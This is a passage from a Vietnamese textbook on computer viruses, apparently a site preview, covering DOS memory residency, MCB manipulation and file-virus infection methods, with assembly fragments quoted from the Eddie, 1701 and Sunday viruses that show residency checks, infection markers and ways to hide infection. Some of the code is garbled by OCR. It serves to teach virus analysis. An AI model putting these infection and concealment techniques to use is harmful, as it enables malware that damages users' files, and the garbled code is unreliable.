Thường trú sau khi đoạt lại quyền điều khiển:Để thường
trú, một số Hacker đã đề nghị một phương pháp vô cùng sáng
tạo, vẫn dựa vào các chức năng của DOS. Cách này dựa vào
phương pháp thi hành chương trình hai lần mà tôi đã đề cập ở
chương trước. Cách này sẽ lấy tên chương trình đangthi hành
trong môi trường DOS tổ chức, rồi một lần nữa, nó sẽ thi hành
ngay chính bản thân mình, sau khi đã giảm vùng nhớ xuống
còn tối thiểu. Sau khi file thi hành xong, quyền điều khiển bây
giờ lại trao về cho virus, và lúc này nó mới tiến hành thường
trú bằng chức năng 31h của DOS như một chương trìnhbình
thường.
178 trang |
Chia sẻ: thienmai908 | Lượt xem: 1318 | Lượt tải: 0
Bạn đang xem trước 20 trang nội dung tài liệu Giáo trình Vius máy tính, để xem tài liệu hoàn chỉnh bạn click vào nút DOWNLOAD ở trên
phóng, do đó, bất kì một phần mềm nào đ−ợc tải lên ngay sau
đó sẽ đè lên ch−ơng trình vừa rồi. Tuy nhiên, đối với một số
phần mềm có yêu cầu kích hoạt tức thời nếu cần, thì buộc
phần mềm này phải nằm th−ờng trú trong RAM và không bị
bất kì một phần mềm nào khác ghi đè. Để thực hiện điều này,
DOS đã cung cấp hơi thừa chức năng cho các thảo ch−ơng
viên. Có tới 2 chức năng để làm điều này.Đó là :
+ Ngắt 27 :
Vào: DX = địa chỉ cuối cung (offset) của đoạn ch−ơng
trình cần th−ờng trú, segment sẽ đ−ợc tính theo PSP.
Ra: Không
Rõ ràng, chức năng này bị giới hạn (mặc dù ít ai đạt tới giới
hạn này) vì DX chỉ có thể đạt đ−ợc giá trị lớn nhất là 0FFFFh,
nghĩa là chỉ có thể th−ờng trú đ−ợc một kích th−ớc 64 Kb. Để
khắc phục điều này, DOS đã đề nghị thêm chức năng 31 của
ngắt 21h.
+ Chấm dứt ch−ơng trình và th−ờng trú (Terminal and Stay
Resident - TSR)
119
Vào: AH = 31h
AL = mã ra (exit code)
DX = kích th−ớc vùng nhớ cần th−ờng trú (tính theo
đoạn)
Ra: Không
Chức năng này khắc phục nh−ợc điểm của ngắt 27, khả năng
th−ờng trú của ch−ơng trình đạt tới tối đa 1Mb (chắc chắn
không có ch−ơng trình nào đạt tới cả), cho phép chuyển mã ra
cho ch−ơng trình mẹ thông báo cho biết tình trạng thi hành
của ch−ơng trình con. Bắt đầu từ version 3.xx, ngắt 27 của
DOS thực chất chỉ là một biến dạng của chức năng 31, nghĩa
là nếu ngắt 27 đ−ợc gọi, nó sẽ tiến hành đổi giá trị offset ra
đoạn rồi gọi chức năng 21 của ngắt 21h với mã lỗi 0.
+ Giả th−ờng trú: Chức năng th−ờng trú đ−ợc nhiều ng−ời
sử dụng h−ởng ứng nhiệt liệt, tuy nhiên sau một thời gian dài
sử dụng, một ch−ơng trình th−ờng trú trở nên cồng kềnh trong
vùng nhớ một khi không còn dùng đến nữa. Để giải quyết, một
số phần mềm đã cho phép giải phóng vùng nhớ, tuy nhiên, nếu
vùng nhớ trên nó đã bị một ch−ơng trình th−ờng trú khác sử
dụng thì việc giải phóng này thực chất cũng không cần thiết.
Do đó, đòi hỏi ch−ơng trình th−ờng trú đó phải là ch−ơng trình
th−ờng trú sau cùng trong vùng nhớ . Chính vì điều này, một
ph−ơng pháp khác do ng−ời sử dụng đề nghị và cũng đ−ợc áp
dụng nhiều ngay sau đó. Ph−ơng pháp này t−ơng tự nh− chức
năng OS Shell của một số phần mềm. Nghĩa là thực chất của
ph−ơng pháp này là sử dụng chức năng 4B để thi hành
COMMAND.COM một lần nữa sau khi đã khởi tạo các ngắt
cần thiết cho các phím hotkey. Bảng copy lần 2 này sẽ thi
hành bình th−ờng các lệnh, ch−ơng trình của ng−ời sử dụng
nh− ở dấu nhắc đợi lệnh (dấu nhắc đợi lệnh cũng từ
COMMAND.COM mà ra). Trong khi phần mềm tr−ớc đó vẫn
tồn tại trong vùng nhớ để chờ trả quyền điều khiển. Việc giả
th−ờng trú sẽ kết thúc nếu ng−ời sử dụng thi hành lệnh EXIT
120
trên dấu nhắc đợi lệnh. Phần ví dụ này, các bạn có thể xem
trong phần minh họa cho chức năng 4B.
3/ Cấu trúc vùng nhớ MCB (memory control block): Nh−
đã biết, phần vùng nhớ tạm thời đ−ợc tổ chức thành từng khối,
mỗi khối đ−ợc quản lý bằng một cấu trúc đầu khối gọi là MCB
(hay còn gọi là arena header).
Thực chất, các chức năng về vùng nhớ đã khảo sát ở trên (giải
phóng, xin cấp phát vùng nhớ v.v..) đều đ−ợc DOS tiến hành
hiệu chỉnh trên chuỗi các MCB này. Đối với một số ng−ời, thi
hành trực tiếp “bằng tay “trên các MCB này lý thú hơn nhiều
và phóng khoáng hơn là dùng các chức năng của DOS để giải
quyết đ−ợc. Các vấn đề đó cũng sẽ đ−ợc chúng ta khảo sát sau.
a. Cấu trúc MCB: MCB có kích th−ớc đúng bằng 1 đoạn
(Paragraph) 16 byte ngay tr−ớc vùng nhớ mà nó quản lý. Nội
dung của các tham số trong cấu trúc này đ−ợc biết nh− sau:
offset size nội dung
0 1 ID Byte nhận diện loại của MCB
1 2 PSP PSP của MCB
3 2 Size Kích th−ớc vùng nhớ mà MCB quản lí
5 0B Unused Không dùng đến
ID là byte nhận diện xem MCB này có phải là MCB cuối
cùng của chuỗi hay ch−a. Nếu ch−a là cuối chuỗi, byte có giá
trị 04D, ng−ợc lại sẽ có giá trị 05A.
PSP: Cho biết vùng nhớ đ−ợc MCB quản lý hiện còn trống
hay đang đ−ợc dùng cho ch−ơng trình nào. Nếu giá trị 0 có
nghĩa ch−a có ch−ơng trình nào sử dụng, ng−ợc lại nó là giá trị
PSP của ch−ơng trình xin cấp phát (cũng chính lí do này DOS
sẽ biết vùng nhớ nào là của ch−ơng trình vừa chấm dứt và giải
phóng nó khi DOS đ−ợc trao quyền).
Size: Là kích th−ớc (theo đoạn) của khối vùng nhớ mà MCB
quản lí.
Giả sử nếu ch−ơng trình là ch−ơng trình TSR trong RAM do
MCB1 quản lí, ch−ơng trình 2 đ−ợc tải vào trong MCB2,
121
ch−ơng trình này xin cấp phát vùng nhớ sẽ do MCB3 quản lí,
vùng nhớ còn lại do MCB4 quản lý. Ta sẽ có sơ đồ sau:
Vùng nhớ do MCB4
quản lý
arena header #4
Vùng nhớ do MCB3
quản lý
(xin cấp phát vùng
nhớ)
arena header #3
Vùng nhớ do MCB2
quản lý
(chứa ch−ơng trình
2)
arena header #2
Vùng nhớ do MCB1
quản lý
(chứa ch−ơng trình
TSR)
arena header #1
b. Các ứng dụng trên MCB:
+ Mapping memory: Đã có một số phần mềm làm chức
năng này, tuy nhiên ít ng−ời biết chúng làm nh− thế nào, cũng
nh− bằng cách nào ta có thể lấy đ−ợc phần tử MCB đầu tiên
trong chuỗi MCB. Để làm điều này, ta có thể dùng nhiều cách,
nh−ng tốt nhất nên sử dụng một chức năng Undocumented
(không công bố) của DOS. Qua thực nghiệm, các thảo ch−ơng
viên nhận thấy chính DOS cũng dùng chức năng 52h của ngắt
21h để lấy địa chỉ của bảng tham số riêng của DOS có tên DIB
122
(DOS info block) . Một trong các cấu trúc nội tại của DOS mà
không có một tài liệu nào đề cập đến chi tiết. Mô tả chức năng
nay nh− sau :
Vào: AH=52h
Ra: ES:BX trỏ đến cấu trúc DIB này.
Để không mất thời giờ, chúng ta chỉ quan tâm đến vị trí của
MCB đầu tiên trên bảng tham số này (những tham số khác nếu
ai quan tâm đến có thể tự mình tham khảo qua tài liệu System
programming for developer - tuy nhiên cũng ch−a đ−ợc đầy đủ
thông tin lắm). Địa chỉ này nằm ở offset -4 trong bảng . Các
MCB tiếp theo sẽ đ−ợc tính bằng cách cộng kích th−ớc của
khối MCB tr−ớc đó thêm 1 (1 là kích th−ớc của MCB theo
đoạn).
Đoạn ch−ơng trình sau minh họa cách duyệt qua các MCB
trong vùng nhớ
; Lấy địa chỉ MCB đầu tiên
mov AH, 052h
int 21h ;ES:BX trỏ vào DIB
les BX, ES:[BX-1] ;ES:BX trỏ vào MCB
đầu tiên
Next:
; In ra lần l−ợt các phần tử của MCB
mov AL, ES:byte ptr [0] ;Lấy ID MCB
cmp AL, 05Ah ;Đã là phần tử cuối
je ok
mov AX, ES: word ptr [1] ;AX = kích th−ớc
MCB
mov BX, ES: word ptr [3] ;BX = PSP
push BX
call Print_MCB ;In MCB ra
pop BX
mov AX, ES
123
inc AX ;Tính MCB kế
add AX, BX
mov ES, AX
jmp Next
ok:
call Print_MCB
int 20h
Print_MCB proc near
; Phần này các bạn sẽ tự thiết kế
Print_MCB endp
+ Pickup memory: Nếu biết rõ cấu trúc MCB, ta có thể
“tách “một phần vùng nhớ ra khỏi tầm kiểm soát của DOS. Kỹ
thuật này cũng đòi hỏi phải kết hợp với cấu trúc PSP nếu các
bạn còn nhớ rằng giá trị word ở offset 2 phản ánh giá trị của
segment tiếp theo còn dùng đ−ợc.
Các b−ớc tách có thể tiến hành theo các b−ớc sau:
- Tạo MCB cuối cùng (trong tr−ờng hợp ch−ơng trình
không dùng hết vùng nhớ).
- Đặt lại kích th−ớc vùng nhớ mà MCB cuối cùng đang
quản lý xuống một kích th−ớc tùy ý.
- Giảm t−ơng ứng giá trị tại PSP:2 một l−ơng t−ơng tự.
Đoạn ch−ơng trình sau minh họa kỹ thuật này.
; Giả sử trỏ đến PSP, kích th−ớc cần giảm 0100 đoạn
mov AX, DS
dec AX
mov ES, AX ;ES trỏ đến MCB
cmp ES: byte ptr [0], 05Ah ;Là phần tử cuối
cùng ch−a
je xuli
; Tạo MCB sau cùng
push BX
124
mov AH, 048h
mov BX, 0FFFFh
int 21h
cmp BX, 0100h ;Kích th−ớc còn lại có đủ
100h ?
jb error
mov AH, 048
int 21h ;Xin cấp phát hết vùng nhớ
pop BX ;để tạo MCB cuối
jb error
dec AX
mov ES, AX ;ES trỏ đến MCB cuối này
cli
mov ES: word ptr [1], 0 ;Còn dùng đ−ợc
cmp byte ptr [0], 05Ah ;Có phải là phần tử
cuối không ?
jne error
add AX, ES: word ptr [3] ;AX trỏ đến MCB kế
inc AX
mov ES: word ptr [12h], AX ;Đặt lại PSP
xuli:
mov AX, ES: word ptr [3] ;AX= tổng memory
sub AX, 100h ;Bớt đi vùng nhớ cần
tách
jb error ;Không thể giảm đ−ợc
mov ES: word ptr [3], AX ;Đặt lại kích th−ớc
sub ES: word ptr [012h], 100h
........
error:
(Trích Eddie virus)
125
Tuy nhiên, một đặc điểm nổi bật, vùng MCB bị tách rời này
luôn nằm ở vùng nhớ cao nhất. Nếu dùng một phần mềm
Mapmem nào có thể phát hiện ra điều này (có thể dùng
CHKDSK) .
Tất cả những thông tin này cũng chỉ là phần cơ bản mà tôi cố
gắng cung cấp để các độc giả có thể tự mình phân tích đ−ợc
các kĩ thuật của một F-virus mà chúng ta sẽ phân tích ở
ch−ơng sau. Những thông tin chi tiết có thể tìm thấy trong các
tài liệu tham khảo.
126
F- VIRUS
Một dạng virus khác đ−ợc đề cập d−ới tên gọi F - virus với số
l−ợng vô cùng đông đảo và tính phá hoại đa dạng đ−ợc nhiều
ng−ời chú ý hơn B - virus . Mặt khác dễ thấy trong môi tr−ờng
d−ới DOS, công việc có vẻ thoải mái hơn, nhất là những tác vụ
đĩa, do đó là một điều kiện tốt cho virus phát triển. Các bạn sẽ
bắt đầu làm quen với F - virus qua việc khảo sát sự lây lan của
chúng.
I - Ph−ơng pháp lây lan.
Nh− tên gọi, F - virus (File virus), virus chỉ lây lan trên các
file thi hành đ−ợc (.EXEcutive able file), tuy rằng điều này
cũng không hẳn vì đã có tr−ờng hợp file đơn thuần là dữ liệu
(dạng .DBF của foxbase chẳng hạn) cũng bị lây. Xét từ quan
điểm những file bị nhiễm file lây lan đ−ợc, điều này cũng vẫn
đúng.
Giống nh− một nguyên tắc bất di bất dịch của B - virus, F -
virus cũng phải tuân theo những nguyên tắc sau: Quyền điều
khiển phải nằm trong tay virus tr−ớc khi virus trả nó lại cho
file bị nhiễm, Tất cả các dữ liệu của file phải đ−ợc bảo toàn
sau khi quyền điều khiển thuộc về file.
Cho đến nay, F - virus chỉ có vài cách lây lan cho file, mà ta
sẽ gọi là file đối t−ợng, Ta sẽ lần l−ợt xét qua các ph−ơng pháp
này để thấy −u cũng nh− khuyết điểm của nó.
1/ Chèn đầu: Thông th−ờng ph−ơng pháp này chỉ áp dụng
với các file .COM nghĩa là đầu vào ch−ơng trình luôn ở
PSP:100h. Lợi dụng đầu vào cố định, virus sẽ chèn vào đoạn
mã ch−ơng trình virus (mà ta sẽ gọi là Progvi) vào đầu ch−ơng
127
trình đối t−ợng, đẩy toàn bộ ch−ơng trình đối t−ợng xuống
phía d−ới.
Có thể minh họa bằng hình sau :
File ch−a bị nhiễm File đã bị nhiễm
.COM
Virus
.COM
Đầu vào Đầu vào
−u điểm: Progvi rất dễ viết vì thực chất nó là một file dạng
.COM. Mặt khác, sẽ gây khó khăn cho vấn đề khôi phục file vì
đòi hỏi phải đ−ợc đọc toàn bộ file bị nhiễm vào vùng nhớ rồi
tiến hành ghi lại.
Khuyết điểm :Tr−ớc khi trả quyền điều khiển lại cho file phải
đảm bảo đầu vào là PSP:100h, do đó phải chuyển trả lại toàn
bộ ch−ơng trình lên bắt đầu từ offset 0100h.
Những ch−ơng trình đọc lại chính mình (COMMAND.COM
chẳng hạn) mà offset cần đọc rơi vào Progvi sẽ dẫn đến sai lạc
logic ch−ơng trình. Chỉ lấy đ−ợc trên các file có đầu vào cố
định (.COM hay .BIN) và điều quan trọng: kích th−ớc file tăng
lên đúng bằng kích th−ớc Progvi.
2/ Append file: Ph−ơng pháp này đ−ợc thấy trên hầu hết
các loại F - virus vì phạm vi lây lan của nó rộng rãi hơn
ph−ơng pháp trên. Theo ph−ơng pháp này Progvi sẽ đ−ợc gắn
ngay sau ch−ơng trình đối t−ợng, Do progvi không nằm đúng
đầu vào ch−ơng trình nên nó phải :
+ Đối với file dạng .COM hay .BIN: thay các byte ở entry
vào của ch−ơng trình bằng một lệnh JMP, chuyển quyền điều
khiển từ entry vào đến đoạn mã của progvi .
0E9 xx xx Entry_virus
128
+ Đối với file dạng .EXE: chỉ cần định vị lại các giá trị SS,
SP, CS, IP trong .EXE header . Có thể minh họa bằng cách vẽ
sau :
File ch−a bị nhiễm File đã bị nhiễm
.COM
Virus
.COM
Đầu vào Đầu vào
−u điểm: Lây lan trên mọi loại file thi hành đ−ợc, th−ờng là
COM/.EXE/BIN/OVL ... mặt khác, sự xáo trộn dữ liệu trên
file không đáng kể. Việc đoạt quyền điều khiển trên file .COM
chỉ cần 3 byte cho một lệnh nhảy.
Khuyết điểm: Để khôi phục, chỉ cần định vị dữ liệu cũ để trả
lại, không cần phải ghi lại toàn bộ ch−ơng trình . Khó định vị
ch−ơng trình virus vì kích th−ớc file đối t−ợng là bất kì. Kích
th−ớc file thay đổi, tăng lên một đoạn bằng (hoặc chênh lệch
16 byyte đối với file loại .EXE).
3/ Overwrite: Nh−ợc điểm của hai ph−ơng pháp trên đều ở
chỗ làm tăng kích th−ớc file. Đây là một yếu tố kiên quyết để
phát hiện ra virus . Ph−ơng pháp này đề ra để khắc phục hai
ph−ơng pháp trên, tuy nhiên hầu nh− chỉ có 1, 2 virus đã biết
là dùng ph−ơng pháp này (trong đó có 1 của Việt Nam). Theo
ph−ơng pháp này, virus sẽ tìm một vùng trống trong file đối
t−ợng (có thể là stack hoặc buffer) để ghi đè ch−ơng trình
virus vào. Tr−ờng hợp buffer ở cuối file nhỏ, có thể thừa ra
một đoạn ch−ơng trình virus làm kích th−ớc file tăng lên
không đáng kể.
Tuy nhiên, ph−ơng pháp này lại gặp nhiều trở ngại, Đầu tiên,
buffer vừa đủ cho kích th−ớc progvi không phải là dễ tìm, nếu
129
nh− không nói là rất hiếm, đã vậy, nếu đây lại là giá trị hằng
của ch−ơng trình, lại làm thay đổi logic ch−ơng trình. Kế đến,
ph−ơng pháp này cũng chỉ lây đ−ợc trên các file COM/BIN mà
thôi.
II - Phân loại :
Đã có quá nhiều cách để phân loại virus, cũng nh− cách đặt
tên, Tuy nhiên, để có một cách khoa học cho việc phân loại thì
ch−a.
Một số nơi đã phân loại virus thành hai loại: loại lây trên file
.COM và lây trên file .EXE. Điều này dẫn đến nghịch lí, nếu
một virus đ−ợc lây trên hai loại file sẽ đ−ợc tính thành hai, do
đó góp phần tăng số l−ợng virus diệt đ−ợc. Mặt khác, những
file .BIN, .OVL đã bị nhiễm sẽ do virus loại gì ? Chẳng nhẽ lại
tăng thêm loại virus để một virus đ−ợc tính thành 4. Đó là
ch−a kể những file có phần mở rộng khác nh−ng vẫn thi hành
đ−ợc vào. Do đó, cách phân loại này không thuyết phục đ−ợc
ng−ời quan tâm đến virus.
Một cách phân loại khác có thể chia virus thành 3 loại dựa
vào ph−ơng pháp lây lan. Tuy nhiên, ph−ơng pháp này cũng
không phản ánh đ−ợc điều gì cho virus cả.
1/ TF - Virus (Transient File virus): Virus thuộc loại này
không th−ờng trú, không chiếm ngắt, khi đ−ợc trao quyền nó
sẽ tìm một hoặc nhiều file khác để lây. Cách viết progvi kiểu
nh− vậy khác hẳn loại 2.
2/ RF - Virus (Resident file virus): Virus loại này th−ờng
trú bằng các kĩ thuật khác nhau, chi phối ngắt (ít nhất là ngắt
21h), khi ngắt này đ−ợc thi hành ứng với những chức năng xác
định, file sẽ bị lây.
Cũng về sau này, RF - Virus đã lợi dụng thế mạnh của TF -
Virus trong việc tìm kiếm file để lây lan. Dù vậy, nó vẫn là RF
- Virus, nh−ng là một smart virus (virus tinh khôn).
130
III - Cấu Trúc Chuơng Trình Virus .
Hai loại virus trên có cấu trúc progvi hoàn toàn khác nhau vì
sử dụng những kĩ thuật khác nhau.
1/ TF - virus: Cấu trúc progvi t−ơng đôi đơn giản, chia làm
3 phần: lây lan, phá hoại và buffer.
+ Phần lây lan có thể tổng quát nh− sau:
Not Fount
Lây Tìm file Phá
Phá Nhiễm
Trả lại dữ liệu
Buffer
Lây
Trả quyền điều
khiển
+ Phần phá hoại: Th−ờng theo phần lây lan.
+ Phần buffer: Chứa các biến nội tại của progvi, các dữ
liệu của ch−ơng trình đối t−ợng, các dữ liệu này sẽ đ−ợc khôi
phục cho file tr−ớc khi quyền điều khiển tra cho ch−ơng trình
đối t−ợng.
2/ RF - virus: Do chiếm ngắt và đ−ợc “pop up “khi cần
thiết, RF - virus đ−ợc thiết kế nh− 1 TSR program (ch−ơng
trình th−ờng trú), nghĩa là, progvi đ−ợc chia 2 phần: Phần
install và Phần thân ch−ơng trình. Phần thân có cấu trúc t−ơng
tự nh− TF - virus, nghĩa là cũng có 3 phần nhỏ hơn phụ trách
các công việc khác nhau: lây lan, phá hoại, chứa dữ liệu.
131
Phần
install
Lây
Phá
Buffer
Phần install quan trọng, nó có thể khái quát nh− sau:
Đã tồn tại trong vùng nhớ ?
No
install ngắt và th−ờng trú Yes
Phá hoại
Trả lại dữ liệu
Trả quyền điều khiển
IV - Các Yêu Cầu Cho Một F - Virus.
1/ Tính tồn tại duy nhất: Cũng nh− B virus, việc kiểm tra
này bảo đảm cho virus có mặt chỉ một lần trong vùng nhớ, trên
file ( tất nhiên ta không xét đến tr−ờng hợp nhiều virus tấn
công một file).
Yêu cầu này không đảm bảo sẽ làm giảm thời gian thi hành
file khi trong vùng nhớ có quá nhiều bản sao của một virus,
132
cũng nh− kích th−ớc của file tăng lên quá nhanh dễ bị phát
hiện và cũng làm tăng thời gian nạp file.
2/ Tính lây lan: Là yêu cầu bắt buộc, đảm bảo cho sự tồn
tại và phát triển của virus và mới đ−ợc gọi là virus. ở đây, ta
không đề cập đến lây lan mà nói đến tốc độ lây. Một virus
“khỏe “phải có tốc độ lây nhanh và do đó mới bảo đảm tính
tồn tại.
3/ Tính phá hoại: Tính phá hoại đôi khi chỉ do ngẫu nhiên
khi logic progvi không dự trù hết các tr−ờng hợp có thể xảy ra,
hoặc do cố ý, nh−ng cố ý mà không l−ờng hết hậu cũng dẫn
đến tai họa vô cùng khủng khiếp.
Việc phát hiện F - virus đơn giản hơn B - virus rất nhiều. Bất
kì sự tăng kích th−ớc nào trên file thi hành đ−ợc (tất nhiên
không phải những file vừa đ−ợc dịch từ Assembler sang) từ 1k
- 5k đều có thể kết luận chính xác 90% là file bị nhiễm virus.
Do đó, virus làm sao phải có đ−ợc một kĩ thuật ngụy trang
khéo léo để đánh lừa đ−ợc hiện t−ợng này. Mặt khác, progvi
dạng F quen thuộc với các TCV hơn loại B vì thực chất nó
cũng nh− các ch−ơng trình khác chạy d−ới DOS. Do đó việc
chạy đua đã diễn ra giữa việc gây khó khăn cho quá trình theo
dõi và cố theo dõi để phát hiện cách phá hoại nhằm khắc phục.
5/ Tính th−ờng trú: Chỉ quan trọng đối với loại RF - virus,
tuy nhiên, số l−ợng RF - virus khá đông đảo nên nó đ−ợc nêu
nh− một yêu cầu.
6/ Tính kế thừa: Điều này ít thấy ở B - virus, F - virus có
từng “họ “, các version sau luôn khắc phục những yếu điểm
của bản “version “tr−ớc, đặc biệt có đặc điểm thay thế bản cũ
bản mới hơn. Điều này tạo sự thú vị cho các nhà nghiên cứu.
Có thể kể ra họ Yankee, Vacsina ...
V - Phân Tích Kĩ Thuật.
1/ Kiểm tra tính tồn tại:
133
a. Trong vùng nhớ: Chỉ có RF - virus mới áp dụng kĩ thuật
này. Có nhiều cách kiểm tra, tuy nhiên, các cách sau th−ờng
hay gặp:
+ Tạo thêm chức năng cho DOS, để kiểm tra tính tồn tại
chỉ cần gọi chức năng này. Có thể biến bằng cách tạo
subfunction (chức năng con) cho một chức năng của DOS. Giá
trị trong thanh ghi sẽ quyết định sự tồn tại của virus hay ch−a.
Điều này dựa vào sự kiện, nếu gọi một chức năng lớn hơn
chức năng cao nhất mà DOS có, giá trị AX trả về sẽ là 0.
Đoạn mã sau kiểm tra tính năng của virus 1701: tạo
subfunction FFh trong chức năng 4BH của DOS. Giá trị trả về
trong DI là 55AAh cho biết virus đã tồn tại.
; Đoạn này trong phần install.
mov AX, 04BFFh
xor DI, DI
xor SI, SI
int 21h
cmp DI, 55AAh
jne install
jmp exit
......................
; Đoạn mã này trong phần thân
entry_int21:
cmp AH, 4BH
je cont_1
jmp ........
test:
mov DI, 055AAh
..........
iret
cont_1:
134
cmp AL, FFh
je test
(1701 virus)
+ So sánh 1 đoạn mã trong vùng nhớ với chính nó, một
sự chênh dù chỉ 1 byte đều dẫn đến lây lan.
(Giả sử ES:AX: địa chỉ ngắt 21h, SI trỏ đến đầu ch−ơng trình
progvi)
push ES
pop DS ; DS:81: đầu progvi
cmp AX, 02EFh ; offset ngắt 21h có đúng
là của virus
jne install
xor DI, DI ; ES:DI: Đoạn mã nghi
ngờ là Progvi
mov CX, 6EFh ; So sánh 6EFh byte
Test:
lodsb
scasb
jne install ; Sai một byte cũng dẫn
đến việc install
loop test
..............
jmp exit
install:
..............
(trích Eddie virus)
b. Trên file: Có thể có các cách kiểm tra sau:
Kiểm tra bằng kích th−ớc .
Kiểm tra bằng keyvalue.
Kiểm tra bằng cách dò đoạn mã.
135
+ Kiểm tra bằng kích th−ớc: Đ−ợc áp dụng trong những
virus đầu tiên, tuy độ chính xác của nó không cao và mặt
khác cũng không kiểm tra đ−ợc version của nó, Tuy nhiên,
việc kiểm tra nhanh và kết quả phụ trong quá trình kiểm tra có
thể đ−ợc dùng về sau nên nó đ−ợc −a chuộng.
; Giả sử file đã đ−ợc mở
push CS
pop DS
mov DX, offset my_buffer
mov CX, 3
int 21h ; Đọc 3 byte đầu và buffer
jb error ; Gặp lỗi
cmp AX, CX ; Số byte đọc có đúng
không ?
jne error
mov AX, 4202h
xor CX, CX
xor DX, DX
int 21h ; Dời cuối file để lầy kích
th−ớc file
mov filesize_off , AX
mov filesize_seg, DX ; Kết quả có thể
dùng về sau
mov AH, 3.EXE header
int 21h ; Đóng file
cmp my_buffer [0], 05A4DH ; File .EXE ?
jne cont_0
jmp exit
cont_0:
cmp filesize_seg, 0 ; Kích th−ớc file có
lớn hơn 64Kb
ja exit
136
cmp filesize_off, 0F93BH ; Filesize byte
?
jbe cont_1
jmp exit ; Thóat nếu lớn hơn
cont_1:
cmp my_buffer[0], 0E9h ; Có phải là lệnh
nhảy nếu file có thể là virus
jne lay
mov AX, filesize_off
add AX, 0F959 ; Trừ kích th−ớc file
cho 1703 byte
cmp AX, my_buffer[1] ; 3 byte cho lệnh
nhảy
je exit ; Nếu giá trị này bằng giá
trị lệnh nhẩy nghĩa là
; kiểm tra là đúng
lay:
................
exit:
................
error:
................
(Trích 1701 virus)
+ Để khắc phục kĩ thuật này, các Hacker đã nêu ra cách
kiểm tra bằng đoạn mã keyvalue: gồm vài byte (th−ờng là 5
byte) vào những byte cuối cùng của file. Các byte keyvalue
này có thể cho biết version của virus chẳng hạn. Ưu điểm của
ph−ơng pháp này là áp dụng đ−ợc với mọi file. Đoạn ch−ơng
trình sau mô tả việc kiểm tra, số l−ợng keyvalue của kiểm tra
này là 5 có giá trị 0C8h, 0F7h, 0E1h, và 0E7h.
; Giả sử ES:DX là ASCIIZ tên file
137
; mở file để đọc
mov AX, 03D04h
int 21h
jb exit
mov filehandler, AX ; Cất file handlẻ
mov BX, AX
mov AX, 4202h
mov CX, -1
mov DS, -5
int 21h ; Dời đến 5 byte cuối cùng
add AX, 5
mov filesize, AX
mov CX, 5
mov DX, offset my_buffer
mov AX, CS
mov DS, AX
mov AH, 3Fh
int 21h ; Đọc 5 byte cuối file vào
my_buffer
; Kiểm tra my_buffer
mov DI, DX : ES:DI - My_buffer
mov SI, scanbuffer : DS:DI - buffer cần so
sánh
repne cmpsb
jne lay
mov AH, 3Eh
int 21h ; Đóng file
..........
lay:
scanbuffer db 0C8h, 0F7h, 0E1h, 0E7h
my_buffer db 5 dup (0)
(Trích Sunday virus)
138
+ Đối với một số loại virus, việc kiểm tra này đ−ợc đặt
ra hàng đầu, do đó, nó đòi hỏi phải so sánh cả một đoạn mã
thật lớn. Về sau ph−ơng pháp này không đ−ợc −u chuộng vì nó
làm giảm tốc độ thi hành file. Đoạn ch−ơng trình sau minh
hoạ:
;Giả sử con trỏ file đang định vị đến đoạn nghi ngờ là đầu vào
virus
mov DI, offset My_buffer
mov SI, DX
mov CX, 06EFh
mov AH, 3 ;Đọc file, 6EFh byte
int 21h
jb lay ;Sai cũng lây
cmp AX, CX
jne lay ;Đọc thiếu byte cũng lây
xor DI, DI
Next:
lodsb
scasb ; Dò sai một byte cũng lây
jne lay
loop next
ret
(Trích Eddie virus).
2/ Kĩ thuật lây lan: Hai loại virus có hai cách lây lan hoàn
toàn khác nhau, do đó kĩ thuật lây lan cũng sẽ đề cập thành 2
phần t−ơng ứng. Tuy vậy, vẫn có những phần chung mà cả hai
loại đều phải dùng.
a. Các kĩ thuật chung trên file: Dù virus loại RF hay TF, đối
t−ợng lây lan của chúng vẫn là file. Do đó, các ph−ơng pháp
định vị, tính kích th−ớc file .... đều giống nhau. Để có thể truy
139
xuất file, virus phải dự trù các tr−ờng hợp sau có thể xảy ra .
Đó là :
Một file đ−ợc mở với chế độ đọc/ghi phải bảo đảm không có
thuộc tính Sys (hệ thống), hoặc Read only (chỉ đọc), hoặc
Hidden (ẩn). Do đó cần phải đổi lại thuộc tính file khi cần
thiết để có thể truy nhập. Mặt khác, khi một file đ−ợc cập
nhật, ngày giờ cập nhật cũng đ−ợc đ−a vào, do đó, làm thay
đổi giá trị ban đầu của file. Đôi khi lại tạo ra lỗi cho file này
(nếu đó cũng là cách kiểm tra của file). Để khắc phục hai lỗi
này, cách tốt nhất là nên đổi lại thuộc tính file, l−u giữ ngày
tháng tạo file để rồi sau đó trả lại đầy đủ thuộc tính ban đầu
cho chúng.
Mặt khác, một đĩa mềm có nhãn bảo vệ, nếu cố gắng ghi lên
file cũng sẽ tạo lỗi. Nếu không xử lí lỗi này, thật là trớ trêu
nếu chỉ thi hành một file đơn giản cũng đ−a lại lời báo lỗi của
DOS:
“Write on protect disk.
Retry - abort - ignore ? “
.... lắm lúc dễ bị phát hiện. Lỗi này đ−ợc DOS kiểm soát
bằng ngắt 24h. Do đó, ph−ơng pháp tốt nhất nên thay ngắt 24h
tr−ớc khi thi hành truy xuất file rồi sau đó hoàn trả.
Sơ đồ tổng quát của một F - virus trên file là :
Thay ngắt
24h
Lấy và đặt lại thuộc
tính của file
Lấy và l−u giữ ngày
giờ tạo file
Truy xuất file
140
(lây)
Đặt lại ngày giờ
tạo file cũ
Đặt lại thuộc
tính của file
Trả lại ngắt
24 cũ
Ngắt 24h mới chỉ đơn giản là trả lại mã lỗi 3 (trả lại quyền
điều khiển cho ch−ơng trình ứng dụng chỉ ra rằng sai trong
chức năng DOS).
Đoạn ch−ơng trình sau minh họa các kĩ thuật trên một cách
rõ ràng nhất .
; Phần dữ liệu
handler dw ? ; Handler của file sẽ mở
attrib dw ? ; Thuộc tính file
time dw ?
date dw ?
off_int24 dw ? ; Địa chỉ của ngắt 24h ở
đây
seg_int25 dw ?
off_Filename dw ? ; Địa chỉ của tên file
cần lây lan
seg_Filename dw ?
; Giả sử DS:DX trỏ đến file name, mà cũng đã đ−ợc cất
Các file đính kèm theo tài liệu này:
- Giaotrinhvirusmaytinh.pdf